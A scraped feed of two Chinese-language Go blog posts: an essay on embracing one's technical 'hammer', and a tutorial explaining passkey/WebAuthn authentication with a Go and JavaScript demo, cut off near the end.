Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 成为那个拿锤子的人 十一月 3, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/11/03/become-the-one-with-the-hammer\n“当你有一个锤子时，每件事看起来都像一个钉子”，这句来自心理学家亚伯拉罕·马斯洛(没错！就是提出五层需求理论的那个马斯洛)的名言揭示了人们在掌握一种技能或工具时，很容易将其视作通用解决方案的倾向，在技术领域，这种倾向尤为明显。\n同时这句话也常被用来描述人们对工具的过度依赖和思维的局限性。\n在程序员圈子中，“语言战争(programming language war)”是一个永不过时的话题，而马斯洛的“锤子”观点在每一种新语言兴起并掀起波澜时，总会被用作“讥讽”该语言拥趸的“思想武器”，细数当前的主流语言，莫不如此：\n上世纪90年代初，随着图形用户界面(GUI)和大型软件开发而兴起的C++语言； 上世纪90年代末至2000年初期，随着互联网的普及和企业应用程序需求增加而大火儿的Java语言； 从2001年开始，特别是在微软.NET框架推出之后逐渐成为Windows应用开发新霸主的C#语言； 2004年以后，随着Ruby on Rails框架的推出，而在Web应用开发领域变成网红且语法优雅的Ruby语言； 2009年以后，刚发布就赢得TIOBE编程语言排行榜年度最佳语言，并在之后引领云原生时代的Go语言； 2010年诞生，从2016年开始连续8年霸榜Stackoverflow最受欢迎编程语言、打出“用Rust重写一切”的Rust语言。 这些语言都有自己的高光时刻，语言拥趸们举起大锤到处砸钉子，伴随而来的是来自其他语言阵营的讥讽。以我最熟悉的Go为例，在Go 1.5版本实现自举并实现GC延迟大幅度下降后，Go社区迎来了快速发展。Go也开始飘了！Gopher们乃至Go团队开始了在各个领域积(四)极(处)探(出)索(击)，除了云原生基础设施和服务、Cli和Web这几个主流领域之外，Go还进军了GUI、游戏、移动开发以及嵌入式系统等领域，这让Go语言一度也面临过与目前Rust相似的境遇和挑战，遭遇了一些质疑和嘲讽：\n然而，这真的是一种糟糕的状态吗？手握大锤找钉子真的有错吗？让我们将视野从狭小的编程语言领域拓展到更广阔的其他领域。\n我们先来看看汽车领域，如果说内燃机驱动技术和机械变速箱技术属于上一代成熟技术的话，那么基于锂电池和电动机的新能源驱动技术就是这个领域的“新锤子”，它也一直在被以丰田为代表的传统主机厂诟病。但以特斯拉为代表的的新能源车企是如何使用这柄锤子的呢？下面是特斯拉的产品发布历史：\n2008年 Roadster：特斯拉的首款量产电动车 2012年 Model S：高档电动轿车，获得广泛好评，具有长续航和高性能，奠定了特斯拉在豪华车市场的地位。 2015年 Model X：一款豪华电动SUV，以独特的鹰翼门设计和高度的安全性著称。 2017年 Model 3：面向大众市场的紧凑型电动车，成为全球销量最高的电动车之一。 2020年 Model Y：一款电动跨界SUV，基于Model 3平台，迅速赢得市场。 2021年 Cybertruck：特斯拉的电动皮卡 2022年 Tesla Semi：电动重型卡车，专注于运输行业的可持续性。 哦，没错！就像编程界一样，一旦他们拿到这柄锤子，也会到处找钉子：从轿车、SUV、皮卡到电动重卡，甚至国内一些新能源主机厂已经发布了几款概念版电动飞行汽车：\n我们再来看看四轴或多轴无人机领域，随着大疆等厂商拿到这把锤子后，无人机的应用范围得到了极大的拓展。从最初的航拍工具和玩具，逐渐演变为物流配送的利器，甚至展望未来，它们有可能成为飞行汽车的一部分。此外，一些军工企业也开始将无人机用于战场，成为一种武器。\n如今，大语言模型正成为新时代的”锤子”，从自然语言处理到代码生成，从内容创作到自动驾驶决策辅助，从寻找新蛋白质到新药研发等，正在重塑各个领域的工作方式。\n到这里，我们看到每一种新技术的诞生，都像一把新锤子，重塑着所在领域的版图。它们不是简单的工具替换，而是带来了全新的思维方式和解决方案。现在，你还担心拿着锤子找钉子会遭到他人的“讥讽”吗？\n在不断演变的科技世界，真正驱动变革的往往就是那些“拿锤子”的人。他们不只是拥有先进技术的工具，更重要的是，他们拥有通过这些工具改变世界的意愿。因此，找到并精通一项核心技术，就像获得了一把改变世界的锤子。这不是局限，而是机遇。重要的不是担心把所有问题都看成钉子，而是要深入理解你的”锤子”，保持开放的心态，发现新的应用场景，勇于尝试用锤子去创新性解决问题。\n由此可见，本文开头处马斯洛的那句话在今天有了新的意义：成为那个拿锤子的人，意味着你有能力参与改变世界的进程。拥抱你手中的锤子吧，这是你的幸运！我们要做的就是善用这份幸运，创造更大的价值。\n作为程序员，我们需要挑选一柄锤子并握在手中，而Go是一个很好的候选。如果你觉得拥抱Go这柄锤子，那我推荐大家关注极客时间的“Go语言第一课”，这是一个很好的起点，帮助你入门Go语言并深入理解Go语言的精髓。\n同时，我的书籍《Go语言精进之路》也将为你提供更深入的知识和实用技巧。\n让我们一起在这条道路上不断探索，提升自我，以更好地应对未来的挑战！\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/11/03/become-the-one-with-the-hammer/","summary":"\u003ch1 id=\"成为那个拿锤子的人--tony-bai\"\u003e成为那个拿锤子的人 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"成为那个拿锤子的人\"\u003e成为那个拿锤子的人\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十一月 3, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/11/03/become-the-one-with-the-hammer/#respond\" title=\"《成为那个拿锤子的人》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/become-the-one-with-the-hammer-1.png\"\u003e\u003c/p\u003e","title":"成为那个拿锤子的人"},{"content":"\n本文永久链接 – https://tonybai.com/2024/11/01/introduction-to-passkey\n传统的密码认证一直以来都是数字时代的主流身份验证方式。然而，用户常常选择易记的弱密码并重复使用，导致账号易受攻击。密码泄露、钓鱼攻击等安全问题层出不穷，超过80%的数据泄露与密码相关。\n截图来自FIDO联盟官网\n与此同时，频繁的密码管理和忘记密码情况严重影响用户体验。服务商在安全保存用户密码方面的责任也增加了系统建设和维护的成本。为了应对这些问题，科技行业开始积极探索无密码认证的方法。\n无密码认证利用设备生物识别、硬件加密和其他更安全的验证手段，提供了更安全的登录体验。在Thoughtworks最新一期（第31期）技术雷达文档中，一种名为passkey的无密码认证技术被列入“试验” 象限，许多读者可能在github或其他支持passkey的站点和应用中使用过这一技术了。\nPasskey是FIDO联盟(Fast IDentity Online)提出的一种无密码认证解决方案。FIDO联盟是一个开放的行业协会，其核心使命是减少世界对密码的依赖。联盟成员包括众多知名的科技公司和组织，如Google、微软、Apple、Amazon等，致力于定义一套开放、可扩展、可互操作的机制，以降低用户和设备身份验证时对密码的依赖。\nPasskey是FIDO联盟的首个无密码身份认证凭据方案，支持用户通过与解锁手机、平板或计算机相同的方式（如生物识别(比如屏幕指纹、面部识别等)、PIN码或图案）登录应用程序和网站。目前许多主流设备、操作系统原生应用、浏览器和站点都支持passkey技术(如下图)，这使得passkey技术在未来的无密码认证认证领域展现出巨大的潜力。\n图来自passkeys.dev(截至20241026)\n在这篇文章中，我将对passkey技术进行入门介绍，并通过Go实现一个简单的示例供大家参考。\n1. passkey的工作原理 通过上面的介绍，我们大致知道了passkey是密码的替代品，一旦使用了passkey，我们登录网站时就无需再输入密码，用于网站对你的身份进行验证的passkey存储在你的设备本地，你顶多只需通过本地设备的生物识别(比如指纹、人脸或图案密码等)进行一次解锁即可。\n从技术本质来说，paaskey就是“免密登录服务器”方案在Web服务和终端App领域的应用。没错！passkey就是基于非对称加密实现的一种无密码认证技术。下图展示了Bob这个用户登录不同Web服务时使用不同passkey的情景：\n如果你熟悉非对称加密的运作原理，你就可以立即get到passkey的工作原理。\n注：在《Go语言精进之路：从新手到高手的编程思想、方法和技巧》的第51条“使用net/http包实现安全通信”中有对非对称加密的全面系统讲解以及示例说明。如果你不是很熟悉，可以看一下我的这本书中的内容。\n以上图中的Web Service1为例，用户Bob在注册时会在其自己的设备(比如电脑)上创建一对私钥与公钥，比如Bob的bob-ws1-private key和bob-ws1-public key，私钥会保存在Bob的设备上，而并不需要保密的公钥则会发送给Web Service1保存。之后，Web Service1对Bob进行身份验证的时候，只需发送一块数据给Bob设备上的应用(通常是浏览器)，应用会申请使用Bob的私钥，这个过程可能需要bob输入设备的用户密码或使用生物识别（比如指纹）来授权。使用Bob的私钥对这块数据进行签名后，发回Web Service1，后者通过Bob保存在服务器上的公钥对这块签名后的数据进行验签，验签通过，则Bob的身份验证就通过了！当然这只是基本原理，还有很多场景、交互和技术细节，比如支持在网吧等公共计算机上借助个人的其他设备(比如手机)进行基于passkey的的身份验证等，这些需要进一步阅读相关规范。更多原理细节我们也会在接下来的内容中详细说明。\n不过，在进一步了解原理之前，我们先来了解一下paaskey与FIDO、webauthn之间的关系。\nFIDO2是一个开放的认证标准框架，旨在取代传统密码认证。它包含WebAuthn（由W3C提供的WebAPI规范）和CTAP（客户端到认证器的协议），即客户端设备和外部认证器的通信标准。FIDO2的主要目标是增强网络安全性，支持无需密码的安全登录方式。\nWebAuthn是FIDO2的WebAPI组件，定义了应用如何在网页上与浏览器协作，以支持基于公钥的认证方式。它允许浏览器和Web应用访问用户设备上的身份验证器（如指纹传感器或USB密钥），并进行认证交互。WebAuthn作为Web标准，得到了大多数现代浏览器的支持。\nPasskey是对FIDO2标准的应用，以实现无密码认证。在技术栈上，Passkey利用WebAuthn和CTAP来构建实际应用体验，从而让用户在支持FIDO2的Web应用中享受无密码登录的便捷。这三者共同实现了现代无密码身份认证的完整生态体系。\n下面我们通过一个序列图具体了解一下paaskey的工作原理：\n上图展示了Passkey的工作流程，包括注册和认证两个主要流程。\n在passkey（即基于WebAuthn的非密码认证机制）中，有三个主要的实体：\n浏览器(客户端)：提供 WebAuthn API 服务器(即规范中的依赖方(Relying Party))：验证用户身份 认证器(Authenticator)： 生成和存储密钥对（认证器可以是设备内置的，如TouchID、FaceID，或外部硬件如YubiKey）。 我们先来看看注册流程。\n用户输入用户名并触发注册流程，浏览器向服务器请求注册选项，服务器生成随机挑战（challenge）并创建注册选项。\n浏览器调用WebAuthn API(navigator.credentials.create)，操作系统检查可用的认证器，并根据认证器类型调用相应的系统API。 认证器请求用户验证（如需要），系统根据请求的用户验证级别来决定验证方式。验证级别包括无需验证(none)、隐式验证(silent，比如设备已解锁，使用之前的验证结果)以及必须验证（Required）。如果是必须验证，系统会显示验证提示（密码/生物识别/PIN等）。\n用户提供身份验证信息后，认证器会生成新的公私钥对，并将私钥安全存储在认证器中，公钥和其他凭证数据(私钥签名后的挑战数据)返回给浏览器。浏览器将公钥和其他凭证发送给服务器，服务器验证凭证(通过公钥验签)并存储公钥，注册完成。\n接下来，我们再来看认证流程。\n当用户输入用户名并触发登录后，浏览器会向服务器请求认证选项，服务器生成新的挑战并返回认证选项。\n浏览器调用WebAuthn API (navigator.credentials.get)，认证器使用私钥对挑战进行签名，并返回签名和其他断言数据给浏览器。\n浏览器将断言发送给服务器，服务器使用存储的公钥验证签名，认证完成。\n我们看到在整个注册和身份验证流程中，用户都无需记忆复杂的密码，机密信息（比如传统的密码）也无需传递给服务器保存，而公钥本身就是随意公开分发的，服务端甚至都无需对其进行任何加密处理。由此可以看到：passkey既提供了更好的安全性，又提供了更好的用户体验，是传统密码认证的理想替代方案之一。\n注：使用另一个设备进行身份验证的流程，大家可以自行阅读passkey相关规范了解。\n了解了原理之后，我们再来看一个简单的示例，直观地看看如何实现基于passkey的身份认证。\n2. passkey身份认证示例 我们使用Go实现一个最简单的基于passkey进行注册和身份验证的示例。在这个示例里，我们将使用webauthn官方推荐的Go包：go-webauthn/webauthn来实现服务端对passkey登录的支持。\n注：本示例的工作环境为Go 1.23.0、macOS和Edge浏览器。\n这个示例的文件布局如下：\n// intro-to-passkey/demo $tree -F . . ├── go.mod ├── go.sum ├── main.go └── static/ └── index.html 首先我们通过一个静态文件服务器提供了前端首页，并注册了4个API端点用于处理Passkey注册和认证：\n// intro-to-passkey/demo/main.go func main() { // 静态文件服务 http.Handle(\u0026#34;/\u0026#34;, http.FileServer(http.Dir(\u0026#34;static\u0026#34;))) // API 路由 http.HandleFunc(\u0026#34;/api/register/begin\u0026#34;, handleBeginRegistration) http.HandleFunc(\u0026#34;/api/register/finish\u0026#34;, handleFinishRegistration) http.HandleFunc(\u0026#34;/api/login/begin\u0026#34;, handleBeginLogin) http.HandleFunc(\u0026#34;/api/login/finish\u0026#34;, handleFinishLogin) log.Println(\u0026#34;Server running on http://localhost:8080\u0026#34;) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } 关键的passkey配置在init函数中：\nfunc init() { var err error webAuthn, err = webauthn.New(\u0026amp;webauthn.Config{ RPDisplayName: \u0026#34;Passkey Demo\u0026#34;, // Relying Party Display Name RPID: \u0026#34;localhost\u0026#34;, // Relying Party ID RPOrigins: []string{\u0026#34;http://localhost:8080\u0026#34;}, //允许的源 }) if err != nil { log.Fatal(err) } userDB = NewUserDB() // 初始化内存用户数据库 } 运行该go程序后，打开localhost:8080，我们将看到下面页面：\n接下来，我们先来注册一个用户的passkey。在注册输入框中输入”tonybai”，点击“注册”，浏览器会弹出下面对话框，提醒用户将为localhost创建密钥：\n点击“继续”，本地os会弹出身份验证对话框：\n输入你的os登录密码，便可继续注册过程。如果注册ok，页面会显示下面“注册成功”字样：\n在服务器后端，上述的注册过程是由两个handler共同完成的，这也是webauthn规范确定的流程，大家可以结合上面的序列图一起看。\n首先是处理/api/register/begin的handleBeginRegistration，它的大致逻辑如下：\nfunc handleBeginRegistration(w http.ResponseWriter, r *http.Request) { // 1. 验证用户名是否已存在 if _, exists := userDB.users[data.Username]; exists { http.Error(w, \u0026#34;User already exists\u0026#34;, http.StatusBadRequest) return } // 2. 创建新用户 user := \u0026amp;User{ ID: []byte(data.Username), Name: data.Username, DisplayName: data.Username, } userDB.users[data.Username] = user // 3. 生成注册选项和会话数据 options, sessionData, err := webAuthn.BeginRegistration(user) // 4. 存储会话数据 sessionID := storeSession(sessionData) http.SetCookie(w, \u0026amp;http.Cookie{ Name: \u0026#34;registration_session\u0026#34;, Value: sessionID, Path: \u0026#34;/\u0026#34;, MaxAge: 300, HttpOnly: true, }) // 5. 返回注册选项给客户端 json.NewEncoder(w).Encode(options) } 注意：这段代码中的session与传统Web应用中用于跟踪用户登录状态的session不同。这种session机制是WebAuthn协议的一部分，用于确保认证流程的安全性：\n防止重放攻击：每次认证都会生成新的挑战 确保认证操作的完整性：开始认证和完成认证必须使用相同的session数据 时效性控制：认证过程必须在有限时间内完成(上面示例中的有效期为5分钟) 所以这里的session更像是一个”挑战-响应”认证过程中的临时状态存储，而不是用来维持用户登录状态的传统session。用户的登录状态管理应该是在这个认证系统之上另外实现的，比如使用JWT token或传统的session机制。\nhandleFinishRegistration用于处理客户端发到/api/register/finish的完成注册请求，它的逻辑大致如下：\nfunc handleFinishRegistration(w http.ResponseWriter, r *http.Request) { // 1. 获取并验证会话 sessionData, ok := getSession(cookie.Value) if !ok { http.Error(w, \u0026#34;Invalid session\u0026#34;, http.StatusBadRequest) return } // 2. 获取用户信息 username := string(sessionData.UserID) user := userDB.users[username] // 3. 验证并完成注册 credential, err := webAuthn.FinishRegistration(user, *sessionData, r) // 4. 保存凭证 userDB.Lock() user.Credentials = append(user.Credentials, *credential) userDB.Unlock() // 5. 清理会话 delete(sessionStore, cookie.Value) } 注册passkey后，我们就可以来基于passkey进行登录了！服务端会使用passkey对用户进行身份验证。\n我们在登录输入框中输入”tonybai”，然后点击”Passkey登录”，本地os会弹出身份验证对话框：\n输入os登录密码后，便可继续身份验证过程，如果服务端身份验证ok，页面会显示下面“登录成功”字样：\n如果在登录输入框中输入一个未曾注册过的用户名，则服务器会验证失败，页面会显示如下错误：\n和注册过程一样，上述的验证过程也是由两个handler共同完成的，这也是webauthn规范确定的流程。\n首先是处理/api/login/begin的handleBeginLogin，它的大致逻辑如下：\nfunc handleBeginLogin(w http.ResponseWriter, r *http.Request) { // 1. 验证用户是否存在 user, ok := userDB.users[data.Username] if !ok { http.Error(w, \u0026#34;User not found\u0026#34;, http.StatusNotFound) return } // 2. 生成认证选项和会话数据 options, sessionData, err := webAuthn.BeginLogin(user) // 3. 存储会话数据 sessionID := storeSession(sessionData) http.SetCookie(w, \u0026amp;http.Cookie{ Name: \u0026#34;login_session\u0026#34;, Value: sessionID, Path: \u0026#34;/\u0026#34;, MaxAge: 300, HttpOnly: true, }) // 4. 返回认证选项给客户端 json.NewEncoder(w).Encode(options) } 之后，是handleFinishLogin处理的来自客户端到/api/login/finish的请求，以完成登录流程：\nfunc handleFinishLogin(w http.ResponseWriter, r *http.Request) { // 1. 获取并验证会话 sessionData, ok := getSession(cookie.Value) if !ok { http.Error(w, \u0026#34;Invalid session\u0026#34;, http.StatusBadRequest) return } // 2. 获取用户信息 username := string(sessionData.UserID) user := userDB.users[username] // 3. 验证并完成登录 _, err = webAuthn.FinishLogin(user, *sessionData, r) // 4. 清理会话 delete(sessionStore, cookie.Value) } 我们看到注册和登录都采用两步验证流程，每个流程都包含开始和完成两个步骤，同时使用会话保持认证状态的连续性。\n整个示例的前端基本由js代码完成：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Passkey Demo\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; .container { margin: 20px; padding: 20px; border: 1px solid #ccc; } .form-group { margin: 10px 0; } #status { margin-top: 20px; padding: 10px; } .error { color: red; } .success { color: green; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;注册\u0026lt;/h2\u0026gt; \u0026lt;div class=\u0026#34;form-group\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;registerUsername\u0026#34; placeholder=\u0026#34;用户名\u0026#34;\u0026gt; \u0026lt;button onclick=\u0026#34;register()\u0026#34;\u0026gt;注册 Passkey\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;container\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;登录\u0026lt;/h2\u0026gt; \u0026lt;div class=\u0026#34;form-group\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;loginUsername\u0026#34; placeholder=\u0026#34;用户名\u0026#34;\u0026gt; \u0026lt;button onclick=\u0026#34;login()\u0026#34;\u0026gt;Passkey 登录\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;status\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; // 工具函数：将 ArrayBuffer 转换为 Base64URL 字符串 function bufferToBase64URL(buffer) { const bytes = new Uint8Array(buffer); let str = \u0026#39;\u0026#39;; for (const byte of bytes) { str += String.fromCharCode(byte); } return btoa(str) .replace(/\\+/g, \u0026#39;-\u0026#39;) .replace(/\\//g, \u0026#39;_\u0026#39;) .replace(/=/g, \u0026#39;\u0026#39;); } // 工具函数：将 Base64URL 字符串转换为 ArrayBuffer function base64URLToBuffer(base64URL) { if (!base64URL) { throw new Error(\u0026#39;Empty base64URL string\u0026#39;); } const base64 = base64URL.replace(/-/g, \u0026#39;+\u0026#39;).replace(/_/g, \u0026#39;/\u0026#39;); const padLen = (4 - (base64.length % 4)) % 4; const padded = base64.padEnd(base64.length + padLen, \u0026#39;=\u0026#39;); const binary = atob(padded); const buffer = new ArrayBuffer(binary.length); const bytes = new Uint8Array(buffer); for (let i = 0; i \u0026lt; binary.length; i++) { bytes[i] = binary.charCodeAt(i); } return buffer; } function showStatus(message, isError = false) { const status = document.getElementById(\u0026#39;status\u0026#39;); status.textContent = message; status.className = isError ? \u0026#39;error\u0026#39; : \u0026#39;success\u0026#39;; } // 开始注册 async function startRegistration(username) { try { // 1. 从服务器获取注册选项 const response = await fetch(\u0026#39;/api/register/begin\u0026#39;, { method: \u0026#39;POST\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, }, body: JSON.stringify({ username }), }); if (!response.ok) { throw new Error(`Server error: ${response.status}`); } const responseData = await response.json(); // 确保我们使用的是 publicKey 对象 const options = responseData.publicKey; if (!options) { throw new Error(\u0026#39;Invalid server response: missing publicKey\u0026#39;); } // 2. 解码 challenge options.challenge = base64URLToBuffer(options.challenge); // 3. 解码 user.id if (options.user \u0026amp;\u0026amp; options.user.id) { options.user.id = base64URLToBuffer(options.user.id); } console.log(\u0026#39;Processed options:\u0026#39;, options); // 调试输出 // 4. 创建凭证 const credential = await navigator.credentials.create({ publicKey: options }); // 5. 准备发送到服务器的数据 const registrationData = { id: credential.id, rawId: bufferToBase64URL(credential.rawId), type: credential.type, response: { attestationObject: bufferToBase64URL(credential.response.attestationObject), clientDataJSON: bufferToBase64URL(credential.response.clientDataJSON) } }; // 6. 发送注册数据到服务器 const finishResponse = await fetch(\u0026#39;/api/register/finish\u0026#39;, { method: \u0026#39;POST\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, }, body: JSON.stringify(registrationData) }); if (!finishResponse.ok) { throw new Error(`Server error: ${finishResponse.status}`); } showStatus(\u0026#39;注册成功！\u0026#39;); } catch (error) { console.error(\u0026#39;Registration error:\u0026#39;, error); showStatus(`注册失败: ${error.message}`, true); } } // 开始登录 async function startLogin(username) { try { // 1. 从服务器获取登录选项 const response = await fetch(\u0026#39;/api/login/begin\u0026#39;, { method: \u0026#39;POST\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, }, body: JSON.stringify({ username }), }); if (!response.ok) { throw new Error(`Server error: ${response.status}`); } const responseData = await response.json(); const options = responseData.publicKey; if (!options) { throw new Error(\u0026#39;Invalid server response: missing publicKey\u0026#39;); } // 2. 解码 challenge options.challenge = base64URLToBuffer(options.challenge); // 3. 解码 allowCredentials if (options.allowCredentials) { options.allowCredentials = options.allowCredentials.map(credential =\u0026gt; ({ ...credential, id: base64URLToBuffer(credential.id), })); } // 4. 获取凭证 const credential = await navigator.credentials.get({ publicKey: options }); // 5. 准备发送到服务器的数据 const loginData = { id: credential.id, rawId: bufferToBase64URL(credential.rawId), type: credential.type, response: { authenticatorData: bufferToBase64URL(credential.response.authenticatorData), clientDataJSON: bufferToBase64URL(credential.response.clientDataJSON), signature: bufferToBase64URL(credential.response.signature), userHandle: credential.response.userHandle ? bufferToBase64URL(credential.response.userHandle) : null } }; // 6. 发送登录数据到服务器 const finishResponse = await fetch(\u0026#39;/api/login/finish\u0026#39;, { method: \u0026#39;POST\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, }, body: JSON.stringify(loginData) }); if (!finishResponse.ok) { throw new Error(`Server error: ${finishResponse.status}`); } showStatus(\u0026#39;登录成功！\u0026#39;); } catch (error) { console.error(\u0026#39;Login error:\u0026#39;, error); showStatus(`登录失败: ${error.message}`, true); } } // 注册按钮处理函数 function register() { const username = document.getElementById(\u0026#39;registerUsername\u0026#39;).value; if (!username) { showStatus(\u0026#39;请输入用户名\u0026#39;, true); return; } startRegistration(username); } // 登录按钮处理函数 function login() { const username = document.getElementById(\u0026#39;loginUsername\u0026#39;).value; if (!username) { showStatus(\u0026#39;请输入用户名\u0026#39;, true); return; } startLogin(username); } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 这段代码没有使用任何第三方库或框架，对js略知一二的读者想必也能看个七七八八。\n综上，我们看到这个示例实现提供了完整的Passkey认证功能，但需要注意这是一个演示版本。在生产环境中，还需要考虑更多，比如数据的持久化存储、更完善的错误处理等。\n3. 小结 本文粗略探讨了无密码认证技术中的一种新兴方案——passkey。随着传统密码认证的安全隐患日益严重，passkey作为FIDO联盟提出的解决方案，利用生物识别和硬件加密以及非对称加密等先进技术，为用户提供了更安全、便捷的身份验证体验。\n在文中，我还详细介绍了passkey的工作原理，包括注册和登录流程，强调了非对称加密在身份验证中的重要作用。此外，通过一个基于Go语言的示例，我们展示了如何实现passkey的注册和认证功能，帮助读者更好地理解其实际应用。\n整体来看，passkey不仅提升了安全性，还改善了用户体验，是未来无密码认证的有力候选方案。随着passkey技术的发展，期待更多应用场景的出现，为用户带来更安全的网络环境。\n本文涉及的源码可以在这里下载。\n4. 参考资料 passkey.org – https://passkey.org passkeys.dev – https://passkeys.dev webauthn.guide – https://webauthn.guide/ FIDO alliance – https://fidoalliance.org/ webauthn.io – https://webauthn.io/ WebAuthn 规范 – https://www.w3.org/TR/webauthn/ FIDO2 文档 – https://fidoalliance.org/fido2/ Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/11/01/introduction-to-passkey/","summary":"\u003cp\u003e\u003cimg alt=\"Image 51\" loading=\"lazy\" src=\"/images/wp-content/uploads/introduction-to-passkey-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/11/01/introduction-to-passkey\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/11/01/introduction-to-passkey\"\u003ehttps://tonybai.com/2024/11/01/introduction-to-passkey\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e传统的密码认证一直以来都是数字时代的\u003ca href=\"https://tonybai.com/2023/10/23/understand-go-web-authn-by-example\"\u003e主流身份验证方式\u003c/a\u003e。然而，用户常常选择易记的弱密码并重复使用，导致账号易受攻击。密码泄露、钓鱼攻击等安全问题层出不穷，超过80%的数据泄露与密码相关。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 52\" loading=\"lazy\" 